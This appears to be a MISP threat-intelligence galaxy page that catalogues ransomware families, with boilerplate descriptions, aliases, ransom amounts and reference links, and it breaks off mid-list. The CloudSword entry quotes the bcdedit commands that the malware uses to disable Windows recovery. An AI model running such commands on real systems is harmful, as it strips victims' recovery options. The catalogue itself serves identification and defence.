Locky Impersonator Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html |
CryptoShield 1.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.
The tag is: misp-galaxy:ransomware="CryptoShield 1.0 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html |
Hermes Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"
The tag is: misp-galaxy:ransomware="Hermes Ransomware"
Hermes Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="Hermes Ransomware" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html |
LoveLock Ransomware or Love2Lock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html |
Wcry Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Wcry Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html |
DUMB Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="DUMB Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html |
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en |
X-Files
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="X-Files"
Links |
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html |
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html |
Polski Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.
The tag is: misp-galaxy:ransomware="Polski Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html |
YourRansom Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)
The tag is: misp-galaxy:ransomware="YourRansom Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html |
Ranion RaasRansomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service
The tag is: misp-galaxy:ransomware="Ranion RaasRansomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html |
Potato Ransomware
Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.
The tag is: misp-galaxy:ransomware="Potato Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html |
of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)
This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
The tag is: misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"
Links |
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html |
RansomPlus
Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
The tag is: misp-galaxy:ransomware="RansomPlus"
Links |
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html |
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html |
CryptConsole
This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files
The tag is: misp-galaxy:ransomware="CryptConsole"
Links |
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html |
ZXZ Ramsomware
Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A
The tag is: misp-galaxy:ransomware="ZXZ Ramsomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html |
VxLock Ransomware
Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc
The tag is: misp-galaxy:ransomware="VxLock Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html |
FunFact Ransomware
Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.
The tag is: misp-galaxy:ransomware="FunFact Ransomware"
Links |
ZekwaCrypt Ransomware
First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
The tag is: misp-galaxy:ransomware="ZekwaCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html |
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html |
Sage 2.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker
The tag is: misp-galaxy:ransomware="Sage 2.0 Ransomware"
CloudSword Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
The tag is: misp-galaxy:ransomware="CloudSword Ransomware"
DN
It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!
The tag is: misp-galaxy:ransomware="DN"
DN is also known as:
-
Fake
Links |
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html |
GarryWeber Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, etc..
The tag is: misp-galaxy:ransomware="GarryWeber Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html |
Satan Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS
The tag is: misp-galaxy:ransomware="Satan Ransomware"
Satan Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="Satan Ransomware" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html |
Havoc
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Havoc"
Havoc is also known as:
-
HavocCrypt Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html |
CryptoSweetTooth Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.
The tag is: misp-galaxy:ransomware="CryptoSweetTooth Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html |
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/ |
Kaandsona Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts
The tag is: misp-galaxy:ransomware="Kaandsona Ransomware"
Kaandsona Ransomware is also known as:
-
RansomTroll Ransomware
-
Käändsõna Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html |
https://twitter.com/BleepinComputer/status/819927858437099520 |
LambdaLocker Ransomware
It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware
The tag is: misp-galaxy:ransomware="LambdaLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html |
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/ |
NMoreia 2.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="NMoreia 2.0 Ransomware"
NMoreia 2.0 Ransomware is also known as:
-
HakunaMatataRansomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html |
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html |
Marlboro Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it’s just XOR)
The tag is: misp-galaxy:ransomware="Marlboro Ransomware"
Links |
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/ |
Spora Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png
The tag is: misp-galaxy:ransomware="Spora Ransomware"
CryptoKill Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.
The tag is: misp-galaxy:ransomware="CryptoKill Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html |
All_Your_Documents Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="All_Your_Documents Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html |
SerbRansom 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.
The tag is: misp-galaxy:ransomware="SerbRansom 2017 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html |
https://twitter.com/malwrhunterteam/status/830116190873849856 |
Fadesoft Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.
The tag is: misp-galaxy:ransomware="Fadesoft Ransomware"
HugeMe Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="HugeMe Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html |
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html |
DynA-Crypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="DynA-Crypt Ransomware"
DynA-Crypt Ransomware is also known as:
-
DynA CryptoLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html |
Serpent 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Serpent 2017 Ransomware"
Serpent 2017 Ransomware is also known as:
-
Serpent Danish Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html |
Erebus 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Erebus 2017 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html |
Cyber Drill Exercise
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Cyber Drill Exercise "
Cyber Drill Exercise is also known as:
-
Ransomuhahawhere
Links |
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html |
Cancer Ransomware FAKE
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.
The tag is: misp-galaxy:ransomware="Cancer Ransomware FAKE"
UpdateHost Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.
The tag is: misp-galaxy:ransomware="UpdateHost Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html |
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html |
Nemesis Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.
The tag is: misp-galaxy:ransomware="Nemesis Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html |
Evil Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript
The tag is: misp-galaxy:ransomware="Evil Ransomware"
Evil Ransomware is also known as:
-
File0Locked KZ Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html |
Ocelot Ransomware (FAKE RANSOMWARE)
It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.
The tag is: misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"
Ocelot Ransomware (FAKE RANSOMWARE) is also known as:
-
Ocelot Locker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html |
https://twitter.com/malwrhunterteam/status/817648547231371264 |
SkyName Ransomware
It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
The tag is: misp-galaxy:ransomware="SkyName Ransomware"
SkyName Ransomware is also known as:
-
Blablabla Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html |
https://twitter.com/malwrhunterteam/status/817079028725190656 |
MafiaWare Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear
The tag is: misp-galaxy:ransomware="MafiaWare Ransomware"
MafiaWare Ransomware is also known as:
-
Depsex Ransomware
Links |
https://twitter.com/BleepinComputer/status/817069320937345024 |
Globe3 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.
The tag is: misp-galaxy:ransomware="Globe3 Ransomware"
Globe3 Ransomware is also known as:
-
Purge Ransomware
Globe3 Ransomware has relationships with:
-
similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"
BleedGreen Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg
The tag is: misp-galaxy:ransomware="BleedGreen Ransomware"
BleedGreen Ransomware is also known as:
-
FireCrypt Ransomware
BTCamant Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)
The tag is: misp-galaxy:ransomware="BTCamant Ransomware"
Links |
X3M Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.
The tag is: misp-galaxy:ransomware="X3M Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html |
GOG Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="GOG Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html |
https://twitter.com/BleepinComputer/status/816112218815266816 |
EdgeLocker
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.
The tag is: misp-galaxy:ransomware="EdgeLocker"
Links |
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html |
https://twitter.com/BleepinComputer/status/815392891338194945 |
Red Alert
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear
The tag is: misp-galaxy:ransomware="Red Alert"
Red Alert has relationships with:
-
similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html |
https://twitter.com/JaromirHorejsi/status/815557601312329728 |
First
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="First"
Links |
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html |
XCrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.
The tag is: misp-galaxy:ransomware="XCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html |
7Zipper Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="7Zipper Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html |
Zyka Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.
The tag is: misp-galaxy:ransomware="Zyka Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html |
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip |
SureRansom Ransomeware (Fake)
It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.
The tag is: misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"
Links |
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html |
Netflix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.
The tag is: misp-galaxy:ransomware="Netflix Ransomware"
Merry Christmas
It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.
The tag is: misp-galaxy:ransomware="Merry Christmas"
Merry Christmas is also known as:
-
Merry X-Mas
-
MRCR
Seoirse Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.
The tag is: misp-galaxy:ransomware="Seoirse Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html |
KillDisk Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.
The tag is: misp-galaxy:ransomware="KillDisk Ransomware"
DeriaLock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.
The tag is: misp-galaxy:ransomware="DeriaLock Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html |
BadEncript Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="BadEncript Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html |
AdamLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.
The tag is: misp-galaxy:ransomware="AdamLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html |
Alphabet Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.
The tag is: misp-galaxy:ransomware="Alphabet Ransomware"
Alphabet Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html |
KoKoKrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru
The tag is: misp-galaxy:ransomware="KoKoKrypt Ransomware"
KoKoKrypt Ransomware is also known as:
-
KokoLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html |
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/ |
L33TAF Locker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker
The tag is: misp-galaxy:ransomware="L33TAF Locker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html |
PClock4 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="PClock4 Ransomware"
PClock4 Ransomware is also known as:
-
PClock SysGop Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html |
Guster Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.
The tag is: misp-galaxy:ransomware="Guster Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html |
https://twitter.com/BleepinComputer/status/812131324979007492 |
Roga
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png
The tag is: misp-galaxy:ransomware="Roga"
Roga has relationships with:
-
similar: misp-galaxy:ransomware="Free-Freedom" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html |
CryptoLocker3 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.
The tag is: misp-galaxy:ransomware="CryptoLocker3 Ransomware"
CryptoLocker3 Ransomware is also known as:
-
Fake CryptoLocker
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html |
ProposalCrypt Ransomware
